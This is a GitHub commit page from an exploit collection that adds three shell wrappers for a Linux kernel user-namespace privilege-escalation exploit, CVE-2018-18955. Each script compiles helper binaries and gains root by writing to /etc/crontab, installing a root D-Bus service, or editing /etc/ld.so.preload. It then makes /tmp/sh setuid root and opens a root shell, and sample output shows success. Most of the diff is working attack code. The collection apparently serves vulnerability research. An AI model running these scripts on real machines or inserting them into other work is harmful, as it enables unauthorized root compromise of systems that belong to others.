Skip to content

Commit c104906

Browse files
ourrenourren
authored
Merge pull request SecWiki#9 from CaledoniaProject/master
增加 CVE-2018-18955
2 parents 592e4b2 + d81f9be commit c104906

12 files changed

+819
-1
lines changed

Diff for: ‎2018/CVE-2018-1000001/readme.md

+1
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,4 @@ In glibc 2.26 and earlier there is confusion in the usage of getcwd() by realpat
77
* [CVE - CVE-2018-1000001](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000001)
88
* [glibc - 'getcwd()' Local Privilege Escalation](https://www.exploit-db.com/exploits/43775/)
99
* [glibc Realpath缓冲区下溢漏洞(CVE–2018–1000001)分析](http://www.freebuf.com/column/162202.html)
10+

Diff for: ‎2018/CVE-2018-18955/exploit.cron.sh

+101
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
#!/bin/sh
2+
# wrapper for Jann Horn's exploit for CVE-2018-18955
3+
# uses crontab technique
4+
# ---
5+
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
6+
# [*] Compiling...
7+
# [*] Writing payload to /tmp/payload...
8+
# [*] Adding cron job... (wait a minute)
9+
# [.] starting
10+
# [.] setting up namespace
11+
# [~] done, namespace sandbox set up
12+
# [.] mapping subordinate ids
13+
# [.] subuid: 165536
14+
# [.] subgid: 165536
15+
# [~] done, mapped subordinate ids
16+
# [.] executing subshell
17+
# [+] Success:
18+
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
19+
# [*] Cleaning up...
20+
# [!] Remember to clean up /etc/crontab
21+
# [*] Launching root shell: /tmp/sh
22+
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
23+
# uid=0(root) gid=0(root) groups=0(root),1001(test)
24+
25+
rootshell="/tmp/sh"
26+
bootstrap="/tmp/payload"
27+
28+
command_exists() {
29+
command -v "${1}" >/dev/null 2>/dev/null
30+
}
31+
32+
if ! command_exists gcc; then
33+
echo '[-] gcc is not installed'
34+
exit 1
35+
fi
36+
37+
if ! command_exists /usr/bin/newuidmap; then
38+
echo '[-] newuidmap is not installed'
39+
exit 1
40+
fi
41+
42+
if ! command_exists /usr/bin/newgidmap; then
43+
echo '[-] newgidmap is not installed'
44+
exit 1
45+
fi
46+
47+
if ! test -w .; then
48+
echo '[-] working directory is not writable'
49+
exit 1
50+
fi
51+
52+
echo "[*] Compiling..."
53+
54+
if ! gcc subuid_shell.c -o subuid_shell; then
55+
echo 'Compiling subuid_shell.c failed'
56+
exit 1
57+
fi
58+
59+
if ! gcc subshell.c -o subshell; then
60+
echo 'Compiling gcc_subshell.c failed'
61+
exit 1
62+
fi
63+
64+
if ! gcc rootshell.c -o "${rootshell}"; then
65+
echo 'Compiling rootshell.c failed'
66+
exit 1
67+
fi
68+
69+
echo "[*] Writing payload to ${bootstrap}..."
70+
71+
echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
72+
/bin/chmod +x "${bootstrap}"
73+
74+
echo "[*] Adding cron job... (wait a minute)"
75+
76+
echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
77+
sleep 60
78+
79+
if ! test -u "${rootshell}"; then
80+
echo '[-] Failed'
81+
/bin/rm "${rootshell}"
82+
/bin/rm "${bootstrap}"
83+
exit 1
84+
fi
85+
86+
echo '[+] Success:'
87+
ls -la "${rootshell}"
88+
89+
echo '[*] Cleaning up...'
90+
/bin/rm "${bootstrap}"
91+
/bin/rm subuid_shell
92+
/bin/rm subshell
93+
if command_exists /bin/sed; then
94+
echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
95+
else
96+
echo "[!] Manual clean up of /etc/crontab required"
97+
fi
98+
99+
echo "[*] Launching root shell: ${rootshell}"
100+
$rootshell
101+

Diff for: ‎2018/CVE-2018-18955/exploit.dbus.sh

+146
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
#!/bin/sh
2+
# wrapper for Jann Horn's exploit for CVE-2018-18955
3+
# uses dbus service technique
4+
# ---
5+
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh
6+
# [*] Compiling...
7+
# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
8+
# [.] starting
9+
# [.] setting up namespace
10+
# [~] done, namespace sandbox set up
11+
# [.] mapping subordinate ids
12+
# [.] subuid: 165536
13+
# [.] subgid: 165536
14+
# [~] done, mapped subordinate ids
15+
# [.] executing subshell
16+
# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
17+
# [.] starting
18+
# [.] setting up namespace
19+
# [~] done, namespace sandbox set up
20+
# [.] mapping subordinate ids
21+
# [.] subuid: 165536
22+
# [.] subgid: 165536
23+
# [~] done, mapped subordinate ids
24+
# [.] executing subshell
25+
# [*] Launching dbus service...
26+
# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
27+
# [+] Success:
28+
# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh
29+
# [*] Cleaning up...
30+
# [*] Launching root shell: /tmp/sh
31+
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
32+
# uid=0(root) gid=0(root) groups=0(root),1001(test)
33+
34+
rootshell="/tmp/sh"
35+
service="org.subuid.Service"
36+
37+
command_exists() {
38+
command -v "${1}" >/dev/null 2>/dev/null
39+
}
40+
41+
if ! command_exists gcc; then
42+
echo '[-] gcc is not installed'
43+
exit 1
44+
fi
45+
46+
if ! command_exists /usr/bin/dbus-send; then
47+
echo '[-] dbus-send is not installed'
48+
exit 1
49+
fi
50+
51+
if ! command_exists /usr/bin/newuidmap; then
52+
echo '[-] newuidmap is not installed'
53+
exit 1
54+
fi
55+
56+
if ! command_exists /usr/bin/newgidmap; then
57+
echo '[-] newgidmap is not installed'
58+
exit 1
59+
fi
60+
61+
if ! test -w .; then
62+
echo '[-] working directory is not writable'
63+
exit 1
64+
fi
65+
66+
echo "[*] Compiling..."
67+
68+
if ! gcc subuid_shell.c -o subuid_shell; then
69+
echo 'Compiling subuid_shell.c failed'
70+
exit 1
71+
fi
72+
73+
if ! gcc subshell.c -o subshell; then
74+
echo 'Compiling gcc_subshell.c failed'
75+
exit 1
76+
fi
77+
78+
if ! gcc rootshell.c -o "${rootshell}"; then
79+
echo 'Compiling rootshell.c failed'
80+
exit 1
81+
fi
82+
83+
echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..."
84+
85+
cat << EOF > "${service}.service"
86+
[D-BUS Service]
87+
Name=${service}
88+
Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
89+
User=root
90+
EOF
91+
92+
echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell
93+
94+
if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then
95+
echo '[-] Failed'
96+
/bin/rm "${rootshell}"
97+
exit 1
98+
fi
99+
100+
echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..."
101+
102+
cat << EOF > "${service}.conf"
103+
<!DOCTYPE busconfig PUBLIC
104+
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
105+
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
106+
<busconfig>
107+
<policy context="default">
108+
<allow send_destination="${service}"/>
109+
</policy>
110+
</busconfig>
111+
EOF
112+
113+
echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell
114+
115+
if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then
116+
echo '[-] Failed'
117+
/bin/rm "${rootshell}"
118+
exit 1
119+
fi
120+
121+
echo "[*] Launching dbus service..."
122+
123+
/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}"
124+
125+
sleep 1
126+
127+
if ! test -u "${rootshell}"; then
128+
echo '[-] Failed'
129+
/bin/rm "${rootshell}"
130+
exit 1
131+
fi
132+
133+
echo '[+] Success:'
134+
/bin/ls -la "${rootshell}"
135+
136+
echo '[*] Cleaning up...'
137+
/bin/rm subuid_shell
138+
/bin/rm subshell
139+
/bin/rm "${service}.conf"
140+
/bin/rm "${service}.service"
141+
echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell
142+
echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell
143+
144+
echo "[*] Launching root shell: ${rootshell}"
145+
$rootshell
146+

Diff for: ‎2018/CVE-2018-18955/exploit.ldpreload.sh

+93
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
#!/bin/sh
2+
# wrapper for Jann Horn's exploit for CVE-2018-18955
3+
# uses ld.so.preload technique
4+
# ---
5+
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
6+
# [*] Compiling...
7+
# [*] Adding libsubuid.so to /etc/ld.so.preload...
8+
# [.] starting
9+
# [.] setting up namespace
10+
# [~] done, namespace sandbox set up
11+
# [.] mapping subordinate ids
12+
# [.] subuid: 165536
13+
# [.] subgid: 165536
14+
# [~] done, mapped subordinate ids
15+
# [.] executing subshell
16+
# [+] Success:
17+
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
18+
# [*] Launching root shell: /tmp/sh
19+
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
20+
# uid=0(root) gid=0(root) groups=0(root),1001(test)
21+
22+
rootshell="/tmp/sh"
23+
lib="libsubuid.so"
24+
25+
command_exists() {
26+
command -v "${1}" >/dev/null 2>/dev/null
27+
}
28+
29+
if ! command_exists gcc; then
30+
echo '[-] gcc is not installed'
31+
exit 1
32+
fi
33+
34+
if ! command_exists /usr/bin/newuidmap; then
35+
echo '[-] newuidmap is not installed'
36+
exit 1
37+
fi
38+
39+
if ! command_exists /usr/bin/newgidmap; then
40+
echo '[-] newgidmap is not installed'
41+
exit 1
42+
fi
43+
44+
if ! test -w .; then
45+
echo '[-] working directory is not writable'
46+
exit 1
47+
fi
48+
49+
echo "[*] Compiling..."
50+
51+
if ! gcc subuid_shell.c -o subuid_shell; then
52+
echo 'Compiling subuid_shell.c failed'
53+
exit 1
54+
fi
55+
56+
if ! gcc subshell.c -o subshell; then
57+
echo 'Compiling gcc_subshell.c failed'
58+
exit 1
59+
fi
60+
61+
if ! gcc rootshell.c -o "${rootshell}"; then
62+
echo 'Compiling rootshell.c failed'
63+
exit 1
64+
fi
65+
66+
if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
67+
echo 'Compiling libsubuid.c failed'
68+
exit 1
69+
fi
70+
71+
echo "[*] Adding ${lib} to /etc/ld.so.preload..."
72+
73+
echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell
74+
75+
/usr/bin/newuidmap
76+
77+
if ! test -u "${rootshell}"; then
78+
echo '[-] Failed'
79+
/bin/rm "${rootshell}"
80+
exit 1
81+
fi
82+
83+
echo '[+] Success:'
84+
/bin/ls -la "${rootshell}"
85+
86+
echo '[*] Cleaning up...'
87+
/bin/rm subuid_shell
88+
/bin/rm subshell
89+
echo "/bin/rm /lib/${lib}" | $rootshell
90+
91+
echo "[*] Launching root shell: ${rootshell}"
92+
$rootshell
93+

0 commit comments

Comments
 (0)